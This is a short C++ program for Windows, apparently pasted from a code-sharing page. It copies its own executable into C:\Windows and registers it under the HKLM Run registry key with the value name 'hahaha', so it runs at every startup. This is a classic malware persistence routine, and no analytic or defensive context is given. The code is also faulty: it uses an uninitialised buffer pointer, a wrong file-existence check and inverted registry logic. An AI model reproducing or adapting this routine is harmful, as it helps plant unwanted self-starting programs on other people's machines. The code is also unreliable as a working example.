1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
int main(){
HKEY hkey;
char *dir1;
GetModuleFileName(NULL, dir1, 255);
const char dir2[] = "C:\\Windows\\projekt1.exe";
if(!GetFileAttributes(dir2)){
CopyFile(dir1, dir2, FALSE);
}
long a = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0, KEY_READ, &hkey);
if(a == ERROR_NO_MATCH || a == ERROR_FILE_NOT_FOUND){
LONG b = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
RegSetValueEx(hkey, "hahaha", 0, REG_SZ, (BYTE*) dir2, strlen(dir2));
RegCloseKey(hkey);
}
}
|